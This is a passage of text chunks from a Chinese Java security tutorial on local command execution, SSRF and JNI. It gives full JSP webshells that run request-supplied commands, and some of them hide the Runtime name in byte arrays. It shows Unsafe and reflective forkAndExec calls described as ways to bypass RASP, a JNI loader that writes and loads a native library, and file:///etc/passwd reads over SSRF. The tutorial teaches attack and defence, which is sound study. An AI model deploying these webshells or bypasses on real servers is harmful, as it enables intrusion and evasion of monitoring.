方法还在)，虽然可以使用 java.lang.invoke.MethodHandles.Lookup.defineClass 来代替，但是 MethodHandles 只是间接的调用了 ClassLoader 的 defineClass ，所以一切也就回到了 ClassLoader 。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "Java本地命令执行 Java本地命令执行 原文： https://www.wangan.com/docs/90 Java原生提供了对本地系统命令执行的支持，黑客通常会 RCE利用漏洞 或者 WebShell 来执行系统终端命令控制服务器的目的。 对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求，而对于黑客来说 本地命令执行 是一种非常有利的入侵手段。 Runtime命令执行 在Java中我们通常会使用 java.lang.Runtime 类的 exec 方法来执行本地系统命令。 Runtime命令执行测试 runtime-exec2.jsp执行cmd命令示例:** < %= Runtime . getRuntime ( ) . exec ( request . getParameter ( \"cmd\" ) ) % > 本地nc监听9000端口: nc -vv -l 9000 使用浏览器访问: http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。"},
    {"text": "runtime-exec.jsp执行cmd命令示例: < %= Runtime . getRuntime ( ) . exec ( request . getParameter ( \"cmd\" ) ) % > < % -- Created by IntelliJ IDEA . User : yz Date : 2019 / 12 / 5 Time : 6 : 21 下午 To change this template use File | Settings | File Templates . -- % > < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.ByteArrayOutputStream\" % > < % @ page import = \"java.io.InputStream\" % > < % InputStream in = Runtime . getRuntime ( ) . exec ( request . getParameter ( \"cmd\" ) ) . getInputStream ( ) ; ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; byte [ ] b = new byte [ 1024 ] ; int a = - 1 ; while ( ( a = in . read ( b ) ) != - 1 ) { baos . write ( b , 0 , a ) ; } out . write ( \"<pre>\" + new String ( baos . toByteArray ( ) ) + \"</pre>\" ) ; % > 命令执行效果如下： Runtime命令执行调用链 Runtime.exec(xxx) 调用链如下: java . lang . UNIXProcess . < init > ( UNIXProcess . java : 247 ) java . lang . ProcessImpl . start ( ProcessImpl . java : 134 ) java . lang . ProcessBuilder . start ( ProcessBuilder . java : 1029 ) java . lang . Runtime . exec ( Runtime . java : 620 ) java . lang . Runtime . exec ( Runtime . java : 450 ) java . lang . Runtime . exec ( Runtime . java : 347 ) org . apache . jsp . runtime_002dexec2_jsp . _jspService ( runtime_002dexec2_jsp . java : 118 ) 通过观察整个调用链我们可以清楚的看到 exec 方法并不是命令执行的最终点，执行逻辑大致是： Runtime.exec(xxx) java.lang.ProcessBuilder.start() new java.lang.UNIXProcess(xxx) UNIXProcess 构造方法中调用了 forkAndExec(xxx) native方法。"},
    {"text": "有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了，切记 Runtime 和 ProcessBuilder 并不是程序的最终执行点! 反射Runtime命令执行 如果我们不希望在代码中出现和 Runtime 相关的关键字，我们可以全部用反射代替。 reflection-cmd.jsp示例代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.InputStream\" % > < % @ page import = \"java.lang.reflect.Method\" % > < % @ page import = \"java.util.Scanner\" % > < % String str = request . getParameter ( \"str\" ) ; // 定义\"java.lang.Runtime\"字符串变量 String rt = new String ( new byte [ ] { 106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 82 , 117 , 110 , 116 , 105 , 109 , 101 } ) ; // 反射java.lang.Runtime类获取Class对象 Class < ? > c = Class . forName ( rt ) ; // 反射获取Runtime类的getRuntime方法 Method m1 = c . getMethod ( new String ( new byte [ ] { 103 , 101 , 116 , 82 , 117 , 110 , 116 , 105 , 109 , 101 } ) ) ; // 反射获取Runtime类的exec方法 Method m2 = c . getMethod ( new String ( new byte [ ] { 101 , 120 , 101 , 99 } ) , String . class ) ; // 反射调用Runtime.getRuntime().exec(xxx)方法 Object obj2 = m2 . invoke ( m1 . invoke ( null , new Object [ ] { } ) , new Object [ ] { str } ) ; // 反射获取Process类的getInputStream方法 Method m = obj2 . getClass ( ) . getMethod ( new String ( new byte [ ] { 103 , 101 , 116 , 73 , 110 , 112 , 117 , 116 , 83 , 116 , 114 , 101 , 97 , 109 } ) ) ; m . setAccessible ( true ) ; // 获取命令执行结果的输入流对象：p.getInputStream()并使用Scanner按行切割成字符串 Scanner s = new Scanner ( ( InputStream ) m . invoke ( obj2 , new Object [ ] { } ) ) . useDelimiter ( \"\\\\A\" ) ; String result = s . hasNext ( ) ? s . next ( ) : \"\" ; // 输出命令执行结果 out . println ( result ) ; % > 命令参数是 str ，如： reflection-cmd.jsp?str=pwd ，程序执行结果同上。 ProcessBuilder命令执行 学习 Runtime 命令执行的时候我们讲到其最终 exec 方法会调用 ProcessBuilder 来执行本地命令，那么我们只需跟踪下Runtime的exec方法就可以知道如何使用 ProcessBuilder 来执行系统命令了。 process_builder.jsp命令执行测试 < % -- Created by IntelliJ IDEA . User : yz Date : 2019 / 12 / 6 Time : 10 : 26 上午 To change this template use File | Settings | File Templates . -- % > < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.ByteArrayOutputStream\" % > < % @ page import = \"java.io.InputStream\" % > < % InputStream in = new ProcessBuilder ( request . getParameterValues ( \"cmd\" ) ) . start ( ) . getInputStream ( ) ; ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; byte [ ] b = new byte [ 1024 ] ; int a = - 1 ; while ( ( a = in . read ( b ) ) != - 1 ) { baos . write ( b , 0 , a ) ; } out . write ( \"<pre>\" + new String ( baos . toByteArray ( ) ) + \"</pre>\" ) ; % > 执行一个稍微复杂点的命令： /bin/sh -c \"cd /Users/;ls -la;\" ,浏览器请求:[ http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la] ( http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd /Users/;ls -la) UNIXProcess/ProcessImpl UNIXProcess 和 ProcessImpl 可以理解本就是一个东西，因为在JDK9的时候把 UNIXProcess 合并到了 ProcessImpl 当中了,参考 changeset 11315:98eb910c9a97 。 UNIXProcess 和 ProcessImpl 其实就是最终调用 native 执行系统命令的类，这个类提供了一个叫 forkAndExec 的native方法，如方法名所述主要是通过 fork&exec 来执行本地系统命令。 UNIXProcess 类的 forkAndExec 示例： private native int forkAndExec ( int mode , byte [ ] helperpath , byte [ ] prog , byte [ ] argBlock , int argc , byte [ ] envBlock , int envc , byte [ ] dir , int [ ] fds , boolean redirectErrorStream ) throws IOException ; 最终执行的 Java_java_lang_ProcessImpl_forkAndExec ： Java_java_lang_ProcessImpl_forkAndExec 完整代码: ProcessImpl_md.c 很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点，去年给 OpenRASP 提过这个问题，他们只防御到了 ProcessBuilder.start() 方法，而我们只需要直接调用最终执行的 UNIXProcess/ProcessImpl 实现命令执行或者直接反射 UNIXProcess/ProcessImpl 的 forkAndExec 方法就可以绕过RASP实现命令执行了。"},
    {"text": "反射UNIXProcess/ProcessImpl执行本地命令 linux-cmd.jsp 执行本地命令测试: < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.*\" % > < % @ page import = \"java.lang.reflect.Constructor\" % > < % @ page import = \"java.lang.reflect.Method\" % > < % ! byte [ ] toCString ( String s ) { if ( s == null ) { return null ; } byte [ ] bytes = s . getBytes ( ) ; byte [ ] result = new byte [ bytes . length + 1 ] ; System . arraycopy ( bytes , 0 , result , 0 , bytes . length ) ; result [ result . length - 1 ] = ( byte ) 0 ; return result ; } InputStream start ( String [ ] strs ) throws Exception { // java.lang.UNIXProcess String unixClass = new String ( new byte [ ] { 106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 85 , 78 , 73 , 88 , 80 , 114 , 111 , 99 , 101 , 115 , 115 } ) ; // java.lang.ProcessImpl String processClass = new String ( new byte [ ] { 106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 80 , 114 , 111 , 99 , 101 , 115 , 115 , 73 , 109 , 112 , 108 } ) ; Class clazz = null ; // 反射创建UNIXProcess或者ProcessImpl try { clazz = Class . forName ( unixClass ) ; } catch ( ClassNotFoundException e ) { clazz = Class . forName ( processClass ) ; } // 获取UNIXProcess或者ProcessImpl的构造方法 Constructor < ? > constructor = clazz . getDeclaredConstructors ( ) [ 0 ] ; constructor . setAccessible ( true ) ; assert strs != null && strs . length > 0 ; // Convert arguments to a contiguous block; it's easier to do // memory management in Java than in C. byte [ ] [ ] args = new byte [ strs . length - 1 ] [ ] ; int size = args . length ; // For added NUL bytes for ( int i = 0 ; i < args . length ; i ++ ) { args [ i ] = strs [ i + 1 ] . getBytes ( ) ; size += args [ i ] . length ; } byte [ ] argBlock = new byte [ size ] ; int i = 0 ; for ( byte [ ] arg : args ) { System . arraycopy ( arg , 0 , argBlock , i , arg . length ) ; i += arg . length + 1 ; // No need to write NUL bytes explicitly } int [ ] envc = new int [ 1 ] ; int [ ] std_fds = new int [ ] { - 1 , - 1 , - 1 } ; FileInputStream f0 = null ; FileOutputStream f1 = null ; FileOutputStream f2 = null ; // In theory, close() can throw IOException // (although it is rather unlikely to happen here) try { if ( f0 != null ) f0 . close ( ) ; } finally { try { if ( f1 != null ) f1 . close ( ) ; } finally { if ( f2 != null ) f2 . close ( ) ; } } // 创建UNIXProcess或者ProcessImpl实例 Object object = constructor . newInstance ( toCString ( strs [ 0 ] ) , argBlock , args . length , null , envc [ 0 ] , null , std_fds , false ) ; // 获取命令执行的InputStream Method inMethod = object . getClass ( ) . getDeclaredMethod ( \"getInputStream\" ) ; inMethod . setAccessible ( true ) ; return ( InputStream ) inMethod . invoke ( object ) ; } String inputStreamToString ( InputStream in , String charset ) throws IOException { try { if ( charset == null ) { charset = \"UTF-8\" ; } ByteArrayOutputStream out = new ByteArrayOutputStream ( ) ; int a = 0 ; byte [ ] b = new byte [ 1024 ] ; while ( ( a = in . read ( b ) ) != - 1 ) { out . write ( b , 0 , a ) ; } return new String ( out . toByteArray ( ) ) ; } catch ( IOException e ) { throw e ; } finally { if ( in != null ) in . close ( ) ; } } % > < % String [ ] str = request . getParameterValues ( \"cmd\" ) ; if ( str != null ) { InputStream in = start ( str ) ; String result = inputStreamToString ( in , \"UTF-8\" ) ; out . println ( \"<pre>\" ) ; out . println ( result ) ; out . println ( \"</pre>\" ) ; out . flush ( ) ; out . close ( ) ; } % > 命令执行效果如下： Windows可能并不适用，稍做调整应该就可以了。"},
    {"text": "forkAndExec命令执行-Unsafe+反射+Native方法调用 如果 RASP 把 UNIXProcess/ProcessImpl 类的构造方法给拦截了我们是不是就无法执行本地命令了？ 其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了，具体步骤如下: 使用 sun.misc.Unsafe.allocateInstance(Class) 特性可以无需 new 或者 newInstance 创建 UNIXProcess/ProcessImpl 类对象。 反射 UNIXProcess/ProcessImpl 类的 forkAndExec 方法。 构造 forkAndExec 需要的参数并调用。"},
    {"text": "反射 UNIXProcess/ProcessImpl 类的 initStreams 方法初始化输入输出结果流对象。 反射 UNIXProcess/ProcessImpl 类的 getInputStream 方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。"},
    {"text": "fork_and_exec.jsp 执行本地命令示例: < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"sun.misc.Unsafe\" % > < % @ page import = \"java.io.ByteArrayOutputStream\" % > < % @ page import = \"java.io.InputStream\" % > < % @ page import = \"java.lang.reflect.Field\" % > < % @ page import = \"java.lang.reflect.Method\" % > < % ! byte [ ] toCString ( String s ) { if ( s == null ) return null ; byte [ ] bytes = s . getBytes ( ) ; byte [ ] result = new byte [ bytes . length + 1 ] ; System . arraycopy ( bytes , 0 , result , 0 , bytes . length ) ; result [ result . length - 1 ] = ( byte ) 0 ; return result ; } % > < % String [ ] strs = request . getParameterValues ( \"cmd\" ) ; if ( strs != null ) { Field theUnsafeField = Unsafe . class . getDeclaredField ( \"theUnsafe\" ) ; theUnsafeField . setAccessible ( true ) ; Unsafe unsafe = ( Unsafe ) theUnsafeField . get ( null ) ; Class processClass = null ; try { processClass = Class . forName ( \"java.lang.UNIXProcess\" ) ; } catch ( ClassNotFoundException e ) { processClass = Class . forName ( \"java.lang.ProcessImpl\" ) ; } Object processObject = unsafe . allocateInstance ( processClass ) ; // Convert arguments to a contiguous block; it's easier to do // memory management in Java than in C. byte [ ] [ ] args = new byte [ strs . length - 1 ] [ ] ; int size = args . length ; // For added NUL bytes for ( int i = 0 ; i < args . length ; i ++ ) { args [ i ] = strs [ i + 1 ] . getBytes ( ) ; size += args [ i ] . length ; } byte [ ] argBlock = new byte [ size ] ; int i = 0 ; for ( byte [ ] arg : args ) { System . arraycopy ( arg , 0 , argBlock , i , arg . length ) ; i += arg . length + 1 ; // No need to write NUL bytes explicitly } int [ ] envc = new int [ 1 ] ; int [ ] std_fds = new int [ ] { - 1 , - 1 , - 1 } ; Field launchMechanismField = processClass . getDeclaredField ( \"launchMechanism\" ) ; Field helperpathField = processClass . getDeclaredField ( \"helperpath\" ) ; launchMechanismField . setAccessible ( true ) ; helperpathField . setAccessible ( true ) ; Object launchMechanismObject = launchMechanismField . get ( processObject ) ; byte [ ] helperpathObject = ( byte [ ] ) helperpathField . get ( processObject ) ; int ordinal = ( int ) launchMechanismObject . getClass ( ) . getMethod ( \"ordinal\" ) . invoke ( launchMechanismObject ) ; Method forkMethod = processClass . getDeclaredMethod ( \"forkAndExec\" , new Class [ ] { int . class , byte [ ] . class , byte [ ] . class , byte [ ] . class , int . class , byte [ ] . class , int . class , byte [ ] . class , int [ ] . class , boolean . class } ) ; forkMethod . setAccessible ( true ) ; // 设置访问权限 int pid = ( int ) forkMethod . invoke ( processObject , new Object [ ] { ordinal + 1 , helperpathObject , toCString ( strs [ 0 ] ) , argBlock , args . length , null , envc [ 0 ] , null , std_fds , false } ) ; // 初始化命令执行结果，将本地命令执行的输出流转换为程序执行结果的输出流 Method initStreamsMethod = processClass . getDeclaredMethod ( \"initStreams\" , int [ ] . class ) ; initStreamsMethod . setAccessible ( true ) ; initStreamsMethod . invoke ( processObject , std_fds ) ; // 获取本地执行结果的输入流 Method getInputStreamMethod = processClass . getMethod ( \"getInputStream\" ) ; getInputStreamMethod . setAccessible ( true ) ; InputStream in = ( InputStream ) getInputStreamMethod . invoke ( processObject ) ; ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; int a = 0 ; byte [ ] b = new byte [ 1024 ] ; while ( ( a = in . read ( b ) ) != - 1 ) { baos . write ( b , 0 , a ) ; } out . println ( \"<pre>\" ) ; out . println ( baos . toString ( ) ) ; out . println ( \"</pre>\" ) ; out . flush ( ) ; out . close ( ) ; } % > 命令执行效果如下： JNI命令执行 Java可以通过JNI的方式调用动态链接库，我们只需要在动态链接库中写一个本地命令执行的方法就行了。"},
    {"text": "* @param str * @return */ byte [ ] base64Decode ( String str ) { try { try { Class clazz = Class . forName ( \"sun.misc.BASE64Decoder\" ) ; return ( byte [ ] ) clazz . getMethod ( \"decodeBuffer\" , String . class ) . invoke ( clazz . newInstance ( ) , str ) ; } catch ( ClassNotFoundException e ) { Class clazz = Class . forName ( \"java.util.Base64\" ) ; Object decoder = clazz . getMethod ( \"getDecoder\" ) . invoke ( null ) ; return ( byte [ ] ) decoder . getClass ( ) . getMethod ( \"decode\" , String . class ) . invoke ( decoder , str ) ; } } catch ( Exception e ) { return null ; } } /** * 写JNI链接库文件 * @param base64 JNI动态库Base64 * @return 返回是否写入成功 */ void writeJNILibFile ( String base64 ) throws IOException { if ( base64 != null ) { File jniFile = getTempJNILibFile ( ) ; if ( ! jniFile . exists ( ) ) { byte [ ] bytes = base64Decode ( base64 ) ; if ( bytes != null ) { FileOutputStream fos = new FileOutputStream ( jniFile ) ; fos . write ( bytes ) ; fos . flush ( ) ; fos . close ( ) ; } } } } % > < % // 需要执行的命令 String cmd = request . getParameter ( \"cmd\" ) ; // JNI链接库字节码,如果不传会使用\"COMMAND_JNI_FILE_BYTES\"值 String jniBytes = request . getParameter ( \"jni\" ) ; // JNI路径 File jniFile = getTempJNILibFile ( ) ; ClassLoader loader = ( ClassLoader ) application . getAttribute ( \"__LOADER__\" ) ; if ( loader == null ) { loader = new ClassLoader ( this . getClass ( ) . getClassLoader ( ) ) { @Override protected Class < ? > findClass ( String name ) throws ClassNotFoundException { try { return super . findClass ( name ) ; } catch ( ClassNotFoundException e ) { return defineClass ( COMMAND_CLASS_NAME , COMMAND_CLASS_BYTES , 0 , COMMAND_CLASS_BYTES . length ) ; } } } ; writeJNILibFile ( jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES ) ; // 写JNI文件到临时文件目录 application . setAttribute ( \"__LOADER__\" , loader ) ; } try { // load命令执行类 Class commandClass = loader . loadClass ( \"com.anbai.sec.cmd.CommandExecution\" ) ; Object loadLib = application . getAttribute ( \"__LOAD_LIB__\" ) ; if ( loadLib == null || ! ( ( Boolean ) loadLib ) ) { Method loadLibrary0Method = ClassLoader . class . getDeclaredMethod ( \"loadLibrary0\" , Class . class , File . class ) ; loadLibrary0Method . setAccessible ( true ) ; loadLibrary0Method . invoke ( loader , commandClass , jniFile ) ; application . setAttribute ( \"__LOAD_LIB__\" , true ) ; } String content = ( String ) commandClass . getMethod ( \"exec\" , String . class ) . invoke ( null , cmd ) ; out . println ( \"<pre>\" ) ; out . println ( content ) ; out . println ( \"</pre>\" ) ; } catch ( Exception e ) { out . println ( e . toString ( ) ) ; throw e ; } % > load_library.jsp 默认提供了一个 MacOSX 的 JNI 库字符串Demo其他系统需要自行编译: com_anbai_sec_cmd_CommandExecution.cpp ,编译方式参考后面的 JNI 章节。 load_library.jsp 接收两个参数: cmd 和 jni ，参数描述： cmd 需要执行的本地命令 jni 动态链接库文件Base64+URL编码后的字符串( urlEncode(base64Encode(jniFile)) ), jni 参数默认可以不传但是需要手动修改jsp中的 COMMAND_JNI_FILE_BYTES 变量， jni 参数只需要传一次，第二次请求不需要带上。 浏览器请求: http://localhost:8080/load_library.jsp?cmd=ls 命令行(POST传jni参数方式)： curl http : / / localhost : 8080 / load_library . jsp ? cmd = ifconfig - d \"jni=JNI文件编码后的字符串\" 浏览器访问 load_library.jsp 执行命令测试： 这个JNI示例Demo结合了 Java反射 、 ClassLoader机制 、 JNI 三个知识点，相对新手来说会有较大难度，这里不做详细讲解，在后面的对应的章节将做出详细解读。"},
    {"text": "开发阶段我们应该尽可能的避免调用本地命令接口，如果不得不调用那么请仔细检查命令执行参数，严格检查(防止命令注入)或严禁用户直接传入命令！"},
    {"text": "URLConnection URLConnection 原文： https://www.wangan.com/docs/95 在java中，Java抽象出来了一个 URLConnection 类，它用来表示应用程序以及与URL建立通信连接的所有类的超类，通过 URL 类中的 openConnection 方法获取到 URLConnection 的类对象。 Java中URLConnection支持的协议可以在 sun.net.www.protocol 看到。 由上图可以看到，支持的协议有以下几个(当前jdk版本:1.7.0_80): file ftp mailto http https jar netdoc gopher 虽然看到有 gopher ，但是 gopher 实际在jdk8版本以后被阉割了，jdk7高版本虽然存在，但是需要设置具体可以看 https://bugzilla.redhat.com/show_bug.cgi?id=865541 以及 http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/8067bdeb4e31 其中每个协议都有一个 Handle , Handle 定义了这个协议如何去打开一个连接。 我们来使用URL发起一个简单的请求 public class URLConnectionDemo { public static void main ( String [ ] args ) throws IOException { URL url = new URL ( \"https://www.baidu.com\" ) ; // 打开和url之间的连接 URLConnection connection = url . openConnection ( ) ; // 设置请求参数 connection . setRequestProperty ( \"user-agent\" , \"javasec\" ) ; connection . setConnectTimeout ( 1000 ) ; connection . setReadTimeout ( 1000 ) ; ... // 建立实际连接 connection . connect ( ) ; // 获取响应头字段信息列表 connection . getHeaderFields ( ) ; // 获取URL响应 connection . getInputStream ( ) ; StringBuilder response = new StringBuilder ( ) ; BufferedReader in = new BufferedReader ( new InputStreamReader ( connection . getInputStream ( ) ) ) ; String line ; while ( ( line = in . readLine ( ) ) != null ) { response . append ( \"/n\" ) . append ( line ) ; } System . out . print ( response . toString ( ) ) ; } } 大概描述一下这个过程，首先使用URL建立一个对象，调用 url 对象中的 openConnection 来获取一个 URLConnection 的实例，然后通过在 URLConnection 设置各种请求参数以及一些配置，在使用其中的 connect 方法来发起请求，然后在调用 getInputStream 来获请求的响应流。 这是一个基本的请求到响应的过程。 SSRF SSRF(Server-side Request Forge, 服务端请求伪造)。 由攻击者构造的攻击链接传给服务端执行造成的漏洞，一般用来在外网探测或攻击内网服务。 SSRF漏洞形成的原因大部分是因为服务端提供了可以从其他服务器获取资源的功能，然而并没有对用户的输入以及发起请求的url进行过滤&限制，从而导致了ssrf的漏洞。 通常ssrf容易出现的功能点如下面几种场景 抓取用户输入图片的地址并且本地化存储 从远程服务器请求资源 对外发起网络请求 …… 黑客在使用ssrf漏洞的时候，大部分是用来读取文件内容或者对内网服务端口探测，或者在域环境情况下且是win主机下进行ntlmrelay攻击。 URL url = new URL ( url ) ; URLConnection connection = url . openConnection ( ) ; connection . connect ( ) ; connection . getInputStream ( ) ; StringBuilder response = new StringBuilder ( ) ; BufferedReader in = new BufferedReader ( new InputStreamReader ( connection . getInputStream ( ) ) ) ; String line ; while ( ( line = in . readLine ( ) ) != null ) { response . append ( \"/n\" ) . append ( line ) ; } System . out . print ( response . toString ( ) ) ; 比如上面代码中的 url 可控，那么将url参数传入为 file:///etc/passwd URL url = new URL ( \"file:///etc/passwd\" ) ; URLConnection connection = url . openConnection ( ) ; connection . connect ( ) ; ... 以上代码运行以后则会读取本地 /etc/passwd 文件的内容。 但是如果上述代码中将 url.openConnection() 返回的对象强转为 HttpURLConnection ，则会抛出如下异常 Exception in thread \"main\" java . lang . ClassCastException : sun . net . www . protocol . file . FileURLConnection cannot be cast to java . net . HttpURLConnection 由此看来，ssrf漏洞也对使用不同类发起的url请求也是有所区别的，如果是 URLConnection|URL 发起的请求，那么对于上文中所提到的所有 protocol 都支持，但是如果经过二次包装或者其他的一些类发出的请求，比如 HttpURLConnection HttpClient Request okhttp …… 那么只支持发起 http|https 协议，否则会抛出异常。 如果传入的是 http://192.168.xx.xx:80 ，且 192.168.xx.xx 的 80 端口存在的，则会将其网页源码输出出来 但如果是非web端口的服务，则会爆出 Invalid Http response 或 Connection reset 异常。如果能将此异常抛出来，那么就可以对内网所有服务端口进行探测。 java中默认对(http|https)做了一些事情，比如: 默认启用了透明NTLM认证 默认跟随跳转 关于NTLM认证的过程这边不在复述，大家可以看该文章 《Ghidra 从 XXE 到 RCE》 默认跟随跳转这其中有一个坑点，就是 它会对跟随跳转的url进行协议判断，所以Java的SSRF漏洞利用方式整体比较有限。 利用file协议读取文件内容（仅限使用 URLConnection|URL 发起的请求） 利用http 进行内网web服务端口探测 利用http 进行内网非web服务端口探测(如果将异常抛出来的情况下) 利用http进行ntlmrelay攻击(仅限 HttpURLConnection 或者二次包装 HttpURLConnection 并未复写 AuthenticationInfo 方法的对象) 对于防御ssrf漏洞的攻击，不单单要对传入的协议进行判断过滤，也要对其中访问的地址进行限制过滤。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "JNI安全基础 JNI安全基础 原文： https://www.wangan.com/docs/96 Java语言是基于C语言实现的，Java底层的很多API都是通过 JNI(Java Native Interface) 来实现的。"},
    {"text": "通过 JNI 接口 C/C++ 和 Java 可以互相调用(存在跨平台问题)。 Java可以通过JNI调用来弥补语言自身的不足(代码安全性、内存操作等)。 这个看似非常炫酷的特性其实自 JDK1.1 开始就有了，但是我们不得不去考虑JNI调用带来的一系列的安全问题！"},
    {"text": "本章节仍以本地命令执行为例讲解如何构建动态链接库供Java调用，也许很多人是第一次接触这个概念会比较陌生但是如果你了学习过 C/C++ 或者 Android NDK 那么本章节就会非常的简单了。"},
    {"text": "CommandExecution.java 演示 package com . anbai . sec . cmd ; /** * 本地命令执行类 * Creator: yz * Date: 2019/12/6 */ public class CommandExecution { public static native String exec ( String cmd ) ; } 如上示例代码，我们需要使用 native 关键字定义一个类似于接口的方法就行了，是不是感觉非常简单？"},
    {"text": "完整的步骤如下: cd ./javaweb-sec/javaweb-sec-source/javase/src/main/java/ (换成自己本地的地址)。 vim或编辑器写入 ./com/anbai/sec/cmd/CommandExecution.java 文件(该目录已存了一个注释掉的 CommandExecution.java 取消掉代码注释就可以用了)。 javac -cp . com/anbai/sec/cmd/CommandExecution.java 。 javah -d com/anbai/sec/cmd/ -cp . com.anbai.sec.cmd.CommandExecution 注意JDK版本： JDK10移除了 javah ,需要改为 javac 加 -h 参数的方式生产头文件，如果您的JDK版本正好 >=10 ,那么使用如下方式可以同时编译并生成头文件。 javac - cp . com / anbai / sec / cmd / CommandExecution . java - h com / anbai / sec / cmd / 执行上面所述的命令后即可看到在 com/anbai/sec/cmd/ 目录已经生成了 CommandExecution.class 和 com_anbai_sec_cmd_CommandExecution.h 了。 com_anbai_sec_cmd_CommandExecution.h : /* DO NOT EDIT THIS FILE - it is machine generated */ #include < jni . h > /* Header for class com_anbai_sec_cmd_CommandExecution */ #ifndef _Included_com_anbai_sec_cmd_CommandExecution #define _Included_com_anbai_sec_cmd_CommandExecution #ifdef __cplusplus extern \"C\" { #endif /* * Class: com_anbai_sec_cmd_CommandExecution * Method: exec * Signature: (Ljava/lang/String;)Ljava/lang/String; */ JNIEXPORT jstring JNICALL Java_com_anbai_sec_cmd_CommandExecution_exec ( JNIEnv * , jclass , jstring ) ; #ifdef __cplusplus } #endif #endif 您可以使用IDE或者vim完成动态链接库的编写，如果您使用 MacOS + CLion 可能需要把 #include <jni.h> 改成 #include \"jni.h\" ，不改也没关系，编译的时候带上库地址就行了。 头文件命名强制性 javah生成的头文件中的函数命名方式是有非常强制性的约束的，如 Java_com_anbai_sec_cmd_CommandExecution_exec 中 Java_ 是固定的前缀，而 com_anbai_sec_cmd_CommandExecution 也就代表着Java的完整包名称: com.anbai.sec.cmd.CommandExecution ， _exec 自然是表示的方法名称了。"},
    {"text": "JNI-基础数据类型 需要特别注意的是Java和JNI定义的类型是需要转换的，不能直接使用Java里的类型，也不能直接将JNI、C/C++的类型直接返回给Java。"},
    {"text": "参考如下类型对照表: jstring转char*： env->GetStringUTFChars(str, &jsCopy) char*转jstring: env->NewStringUTF(\"Hello...\") 字符串资源释放: env->ReleaseStringUTFChars(javaString, p); 其他知识点参考： jni中java与原生代码通信规则 JNI-编写C/C++本地命令执行实现 如上，我们已经生成好了头文件，接下来我们需要使用C/C++编写函数的最终实现代码。 com_anbai_sec_cmd_CommandExecution.cpp 示例： // // Created by yz on 2019/12/6. // #include < iostream > #include < stdlib . h > #include < cstring > #include < string > #include \"com_anbai_sec_cmd_CommandExecution.h\" using namespace std ; JNIEXPORT jstring JNICALL Java_com_anbai_sec_cmd_CommandExecution_exec ( JNIEnv * env , jclass jclass , jstring str ) { if ( str != NULL ) { jboolean jsCopy ; // 将jstring参数转成char指针 const char * cmd = env - > GetStringUTFChars ( str , & jsCopy ) ; // 使用popen函数执行系统命令 FILE * fd = popen ( cmd , \"r\" ) ; if ( fd != NULL ) { // 返回结果字符串 string result ; // 定义字符串数组 char buf [ 128 ] ; // 读取popen函数的执行结果 while ( fgets ( buf , sizeof ( buf ) , fd ) != NULL ) { // 拼接读取到的结果到result result += buf ; } // 关闭popen pclose ( fd ) ; // 返回命令执行结果给Java return env - > NewStringUTF ( result . c_str ( ) ) ; } } return NULL ; } 使用 vim com/anbai/sec/cmd/com_anbai_sec_cmd_CommandExecution.cpp 或编辑器编写好cpp文件。"},
    {"text": "首先切换到我们的C目录： cd com/anbai/sec/cmd/ 然后使用 g++ 命令编译成动态链接库，前提是您需要提前装好编译环境如: gcc/g++ 。 MacOSX编译 : g ++ - fPIC - I \"$JAVA_HOME/include\" - I \"$JAVA_HOME/include/darwin\" - shared - o libcmd . jnilib com_anbai_sec_cmd_CommandExecution . cpp Linux编译: g ++ - fPIC - I \"$JAVA_HOME/include\" - I \"$JAVA_HOME/include/linux\" - shared - o libcmd . so com_anbai_sec_cmd_CommandExecution . cpp Windows编译: Visual Studio/cl命令 编译dll。 使用 min-gw/cygwin 安装 gcc/g++ ，如: x86_64-w64-mingw32-g++ -I\"%JAVA_HOME%\\include\" -I\"%JAVA_HOME%\\include\\win32\" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.cpp 。"},
    {"text": "如依旧无法编译成，可参考: Java Programming Tutorial Java Native Interface (JNI) ，这篇文章讲解了如何在不同的操作系统中使用C/C++来编写JNI的HelloWorld。"},
    {"text": "如果您采用了 C语言 编写(C和C++版本基本没差别，也就在使用 *env 时的参数值一般会不一样)那么请用 gcc 编译，编译完成我们就可以使用这个动态链接库了。 正常情况下我们需要 严格按照JNI要求去命名文件名 并且 把链接库放到Java的动态链接库目录 ，不然会无法加载。"},
